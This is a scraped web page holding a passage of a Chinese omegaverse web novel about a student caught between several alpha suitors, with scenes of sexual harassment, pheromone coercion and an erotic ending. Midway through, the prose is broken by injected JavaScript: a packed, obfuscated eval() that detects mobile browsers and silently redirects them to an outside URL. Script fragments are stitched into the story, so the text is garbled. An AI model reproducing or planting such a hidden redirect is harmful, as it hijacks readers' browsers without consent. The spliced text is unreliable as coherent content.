$(''#content'').append('' 抿唇,“这是你买的吗?” “不是哦——”闻瑾羿拖长语调卖关子。 戚雪砚手指收拢,望着她眨眼。 “是我亲手做的哦!还记得我新生舞会上那个舞伴吗,商院的,我去蹭了她们的烹饪班。哥你瞧这胡萝卜是不是和我头发颜色一模一样?” ……这样啊。 按下心底那点起伏,戚雪砚弯唇,抬起另一只手摸了摸少女顺滑柔软的头发,“谢谢你,做得很漂亮。” 闻瑾羿开心地凑近顶他的手掌,掀开他后颈的衣领:“我看一看啊,你腺体还好吗?” “挺好的,上次给的药很有用。”戚雪砚这次没躲,安静站着被检查。 “还是有点发红——这两天一定要注意休息,别再和别人打架了。对了哥,我上次忘了问,你为什么要去竞技场做代打?你不缺钱吧。” “不缺。”戚雪砚先飞快否认了这点,顿了顿解释,“……我锻炼身体。” 闻瑾羿估摸着也是这样,“缺钱就问老大要,他很有钱的。” “……” 戚雪砚眼眸睁大。 “我……我为什么要问他要钱。”他唰地背过身。 就算纪钦栩有钱又大方,那也该是借吧,“要”算怎么回事?他又不是纪钦栩的下属,或者别的什么特别的关系。 “你害羞啊?”闻瑾羿的脑袋从侧面探了过来,把青年颊侧飘浮的红云看得一清二楚。 戚雪砚的眼睛睁得更大了。 “小丫头胡说八道什么东西。”他反手把橙色的脑袋往后推推,捧着蛋糕跑走了。 …… 从后门出去顺势就走进了人比较少的楼梯,戚雪砚放缓步伐慢慢下楼,摸出口袋里震动的手机。 贺靖风发消息喊他出去吃饭给他庆功,开车在校门口等他。他回了个小猫起飞的“来了来了”表情包,退出,上滑聊天框——停在某一栏。 静悄悄的没什么动静。 他盯了会儿男生的头像,之前只见是黑漆漆的一团,这会儿隐约看出了一些不同寻常的轮廓——戚雪砚正待仔细端详,忽然听见自己的名字从楼梯下的转角传来。 “我听勇哥说,你和戚学长吵架了?” 他站定脚步。 哐啷。易拉罐从贩卖机滚落的动静。 “说人话。” 男生清冽微磁的嗓音在楼道里响了起来,伴随着汽水被开启,像冰块轻轻撞击杯壁。 “得,就你这个三句话吐不出十个字的水平,吵也吵不赢。”柏荣精准吐槽。 “……” 戚雪砚无声笑了一下,赞同地点点头。 柏荣:“你说好端端的,咱为啥要路过三年级这栋楼呢?这里的饮料特别好喝?” “……” 戚雪砚向着扶手歪了歪身子,想瞟一眼他们喝的什么。 柏荣又问:“有件事儿你知道不?哦,你那天没空,知道也没用。” “……说。” “这周五校篮球队比赛,戚学长好像要去当啦啦队呢。”柏荣咋舌,“哎呀呀,戚学长对他室友可真不错啊,他们感情一定很好吧。” 沉默。 长久的沉默。 久到戚雪砚莫名不自在,抬了抬脚跟,想要走下楼说些什么。 喀啦。易拉罐被捏瘪,抛进金属垃圾桶。 “他喜欢招猫逗狗,随便他。” 那男声冷漠至极地回答。“不关我的事。” 19.招猫逗狗 周五戚雪砚去学生会会长办公室待了半天。这里有一面墙的大书柜,藏书比裴起昀卧室里丰富很多,不少都是以前他在的时候置办的。 他趴在暗红色的真皮沙发上看书,裴起昀处理完手里的事走了过来,在他身边坐下:“这两天我要回一趟家,你注意休息,别由着贺靖风胡闹。” “怎么了,有要紧事吗?”戚雪砚翻了个身,屈腿让出一半位置给对方。 “有个不太合理的要求……我想试试看能不能阻止。”裴起昀含糊带过,脸上浮现几分为难。 戚雪砚心领神会,放下书本,双手捏了捏对方的肩:“不能阻止也不要紧,这个学校说到底归他们管,他们爱怎么折腾怎么折腾。” “小雪。”裴起昀捉住他的手,沉吟了一会儿,道,“有句话我一直没告诉过你。” “嗯?” “不管你变成什么样,我都会喜欢你的。”alpha低头,在手指尖轻吻,“只要你能在我身边就好了。” 办公室安静了下来。 “……干嘛突然说这个。”戚雪砚慢吞吞地把手抽了出来。 裴起昀顺势倾身,扫了眼他发红微肿的后颈,喉结一滚压着嗓音道:“我不想看你拼得这么辛苦……况且前20没那么难——只要你讨好讨好我,本会长又不是没别的办法。” 戚雪砚向后靠在了沙发扶手上:“怎么讨好你?” Alpha坐正,拍了拍自己西裤笔挺的大腿。 他歪头上下打量对方,伸手,手指掐住狠拧了一把。 裴起昀眉梢颤了颤,忍着没动,然后发现一柄坚硬锋利的刀刃贴在了腿上。 “别和我开这种玩笑。”戚雪砚嗓音轻柔地对他说。 “……” “吓吓你的。”他眨了眨眼,笑着把刀挪开了。虽然他最近对此有些敏感,倒不至于往裴起昀身上联想。 他们的克制他看得见。很珍贵。论坛里那些家伙根本不配相提并论。 “你想捅就捅吧,爱捅哪捅哪。” 裴起昀沉默片刻,却再次突然地靠过来,胳膊按在他身后将他圈在双臂间,眸色也晦暗许多,“我和贺靖风,你选谁?” “……”戚雪砚把脸别过去,“我选不出来。” “必须要选一个。”裴起昀盯着他的侧脸和雪白细嫩的颈项,不依不饶。 “选小铄行了吧,我喜欢年纪小的。” “?” 戚雪砚叹了一口气,望向对方近在咫尺的绿眸,“起昀,你知道我对你们不是那种感情,我们一直都是朋友啊。” 他们三个都对他很重要,所以也只能是朋友,如果是恋人……那怎么能同时拥有呢。 戚雪砚知道自己这样的想法是自私卑劣的,他把折叠刀放在了一旁,抬手圈住裴起昀的脊背,给了对方一个朋友间的拥抱。 如果他有了其他喜欢的人,他一定会祝福的。 想着,脑中却倏然蹦出来一个词。 招猫逗狗。 “……”他抿紧了唇,把人抱得更用力了些。 裴起昀也在他耳后轻叹,“我不急。目前这样就很好。” 戚雪砚回神,拍了拍对方的后背。 “这不是你惯用的那柄。”余光一扫,裴起昀拿起沙发上的银色折叠刀翻看。 以前那柄十分精致漂亮,顶端镶嵌蓝色宝石,还挂着青年亲手缝制的小马吊坠。 “那个丢了。” “丢哪了?” 戚雪砚顿了顿,脑中的某根神经抽痛了一下,皱着眉回答:“……我不记得了。” 好像从生病之后就没再见过了。 …… 下午天气还不错,戚雪砚穿了短袖短裤准备出门。 邢铄对此意见极大,二话不说就要去找贺靖风算账。他搂着人哄了好久,加上对方接到了一个紧急电话,才终于得以脱身。 体操服版型的裤子不算特别短,但尺码稍微小了点,戚雪砚的腿又很修长,两条白玉柱似的暴露在外,任谁第一眼望过去都得盯着猛瞧。 他手里拿着两团亮晶晶的啦啦队花球,刚走进篮球场,在场十几个脑袋齐刷刷转了过来,表情非常一致地瞪眼,张嘴,雅雀无声。 基本上每年学生篮球决赛都是穹庭和体校打,穹庭这边身体素质更强,体校更专业,总体胜负持平,队伍间也不乏新仇旧怨。 “大爷的!”穹庭的大前锋最先反应过来,招手喊兄弟们挡在戚雪砚跟前,“看什么看?眼珠子再乱瞟一个试试?” 体校队员的视野里就变成了一群五大三粗的肌肉腿后面,若隐若现的一双玉腿。 “你们……使诈!”体校的人叫道。 用这种招数扰乱军心,胜之不武! 大前锋抓起肩膀上的毛巾九节鞭似地噼噼啪啪一通乱挥:“这我们队长老婆!诈你爹啊!都退后!” 剩下半句他没敢说——就算不是队长老婆,那也是他们穹庭的共有财产,这腿只能他们看,外人,休想! 话音刚落,贺靖风出现了,三两步跨过来呼了一巴掌大前锋后脑勺:“老子还没表白呢!你叫毛。” “……”能不能行啊?不行让他上呗。大前锋暗暗嘀咕。 凶恶扫视一圈对面,贺靖风转身走回戚雪砚跟前,眼珠子也是一直,磕磕巴巴道:“小雪,要不、要不你回去换条裤子再来吧?” “为什么啊,不是你想看我这么穿的吗。”戚雪砚握着两个花球,跳了两下预先练习的动作,“阿靖——加油!加油——加油!” “……” 篮球场响起一阵猛烈的咳嗽。 “我错了我错了我错了,你快别站着了,求你了。” 贺靖风脸都绿了,赶紧按着人在长凳上坐下,通过缩小面积来用身体遮挡。 紧致匀称的腿肉被绿色长凳挤压,稍微柔软的部分形成了浅浅的凹陷。不由得让人浮想联翩揉捏上去会是什么样的触感。光滑透亮的肌肤本就白里泛着粉,留下指印必然十分鲜艳醒目。 看着近距离的美景傻了眼,贺靖风半晌没出声。 招猫逗狗么。 戚雪砚又想起了这个词,放下花球,缓慢抬起腿交叠在一起——果然见到红发alpha还有其他人的视线跟着移动,像被牵绳控制行动的木头人。 有意思。 他身体前倾,一只手撑在腿上托起了腮帮子,微笑眨眼。 众人齐齐后退了一步。 杀伤力好强! “都给老子转过去!” 贺靖风彻底暴怒,腾地站起身吼了声,不顾校规公然释放S级的警告信息素——实打实的等级压制带来的威慑力不容忽视,所有人都老老实实背过了身。 戚雪砚也收起了笑容,放下腿略微坐正。 “小雪,我吃醋,我不想你被别的alpha看!”贺靖风重新在他面前蹲了下来,气急败坏地打直球,“你想我被气死吗?” “……哦。”他也有些不好意思了,拍拍贺靖风的脑袋顺毛,“那你好好比赛,我先回去了。” “快回去吧,求你了。” 红发alpha长舒了一口气,殊不知若干仇视的目光聚集到了他的背后。 大前锋摇头叹息。唉。今天的篮球赛注定是一场针对战了。 …… 为了尽量少碰到人,戚雪砚从体育场后面的小路绕行回宿舍。 秋天太阳落山的速度很快,前一刻还是天光大亮,等他走进场馆建筑的正后方,已然暮色西斜了。 暗橙色的光线从身后投下来,将一草一木的影子都拉得很长——戚雪砚的视线从树梢的异木棉花朵上移开,停下了脚步。 “出来。”他回眸冷声道。 傍晚的风拂过他的发梢,裹挟着alpha刺激的信息素气味。1、2、3……5个不同的alpha信息素,包括一个S级。 “孟星澜。” 戚雪砚望向领头的那位栗棕色头发的alpha,唇角勾出一个讽刺的笑容,“你现在堵我还要带这么多狗腿子?” 来人了视线在他身上上下扫视,眸中折射出鲜明的贪婪,看似大度地抬了抬下巴:“你可以叫贺靖风来帮你。” “他在比赛,我不会喊他。” 意料之中的发言,孟星澜的脸色却变得更阴鸷,咬牙切齿道:“你就对他这么好。” “穿成这样去给他们打篮球的加油助威。还不承认自己是骚货。”黄震在旁边帮腔。 戚雪砚将视线移到了对方身上,后又轻轻移开。 “你抽他两耳光,我给你摸一会儿,怎么样?” 他注视着呼吸一滞的S级alpha,后退了两步靠在铁丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16916074|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网上,屈起一条腿,精致的膝盖在夕阳下散发出珍珠般的光泽: “——要见血的。” 黄震的脸瞬间垮了,惶恐看向身边的老大。 数秒后,昏暗的角落响起痛彻心扉的惨叫。 “做你的小弟还蛮可怜的哦。”戚雪砚抱着胳膊,对走近自己的人歪了歪头,语调甚至称得上轻松。 “为了你这算什么。”孟星澜胸膛起伏,鼻翼微微翕动,“我以前怎么没发现,你居然这么大方。” 因为这也是他刚意识到不久的事——Alpha的身体就是武器,居然可以有另一种解释。 他觉得很好。 “你的手怎么在发抖?别紧张啊。” 戚雪砚搭上了对方的手腕,直接扯过来贴上自己的大腿,另一只手安慰似的抚了抚孟星澜的后颈。 “摸一下腿而已,又不是掉块肉,为什么不大方?你可以多摸一会儿。” Alpha的鼻息愈发粗沉,手掌施力想要握住他的腿—— 戚雪砚没什么波澜地注视着对方失控的模样,冷不丁屈肘下压,抬膝,发狠撞向孟星澜的眉心! 砰。 孟星澜的战斗意识不差,剧烈的撞击没让他昏头,在地上翻滚一圈避开了从侧面的横踢,S级信息素顷刻爆发。 “……” 想要追着攻击的青年瞬间被压弯了腰,腿一软险些栽倒在地。手指紧紧嵌入一旁冰冷的铁丝网,冷汗从额头大颗大颗地滚落,砸在地面上。 “太久没当S级alpha了,你是不是太小瞧等级差距了。” 孟星澜从地上爬了起来,擦拭额角的鲜血,面目狰狞地朝戚雪砚走了过来。 “让你重新认识一下,怎么样?” “被信息素压制得毫无还手之力是什么感觉,你还从来没有体会过吧?”他伸出手钳住青年苍白美丽的脸,欣赏着他痛苦扭曲的模样,喘息粗沉,“我会让你乖乖把腿分开,求我摸。” “……” 压力如岩浆铺天盖地倾泻在身上,戚雪砚视线一片模糊,耳畔轰鸣阵阵,后颈像被用烙铁炙烤,浑身剧痛。 信息素…… 腺体…… S级和B级。 不奇怪总是有alpha前赴后继地钻研提升等级,好的坏的,用尽了手段。 浓烈复杂的情绪蔓上心间,他想起那日梅瑞尔老师的话,她说强者才能拥有一切。他一直都知道这一点,虽然拒绝了那个提议,又什么时候真的甘心过? ……真是可恨、可悲。 他口口声声回答弱者也要得到尊重,却一点都不想成为弱者。 抬眸瞪着眼前逐渐靠近的人,戚雪砚不顾痛楚艰难调动起自身的信息素,腺体像被挤压破碎的玫瑰花瓣,企图榨出最后一丝力气——突然,他隐约感觉到有一股力量试图冲破束缚,在血液里喷薄欲出—— 轰隆! 巨大的响声在他做出反应之前响起,孟星澜的身体如麻袋般甩飞出去,高高落下,砸在转角的墙壁上,另一边是他的小弟们此起彼伏的惨叫。 ……谁? 阿靖吗? 不可能,他们之间没有会有这么大的差距。 这只可能是…… 冬日霜雪般的信息素灌入鼻息,身上的压力瞬间被全盘卸下,模糊的视网膜上印出了一个高大的黑发身影。 “……” 戚雪砚眼眶倏的一热。 纪钦栩搂住青年的腰让人趴在怀里,另一手熟练检查他的后颈。 太肿了。不能碰。 他在原地半蹲了下来。 干什么啊? 大腿落入了男生的手里,戚雪砚靠着铁丝睁大眼眸,浑身都绷紧了。两条腿在男生掌心微弱地挣扎,半指手套的材料很硬,将他的腿摩擦得发红。 纪钦栩瞥了一眼,松开,咬着摘掉手套。 温热的掌心再次毫无阻隔地攥住了戚雪砚的腿肉。 “唔……” 酥酥麻麻的电流在皮肤下流窜,他站不住了,半落坐在了对方的手掌上,被承托着力量。 纪钦栩将他的一条腿抬起,肩膀架住,咬下了他内侧那个鲜为人知的腺体。 “呃……” 戚雪砚仰起纤细脆弱的颈项,发出一声含混不清的低i吟,彻底软倒了下来。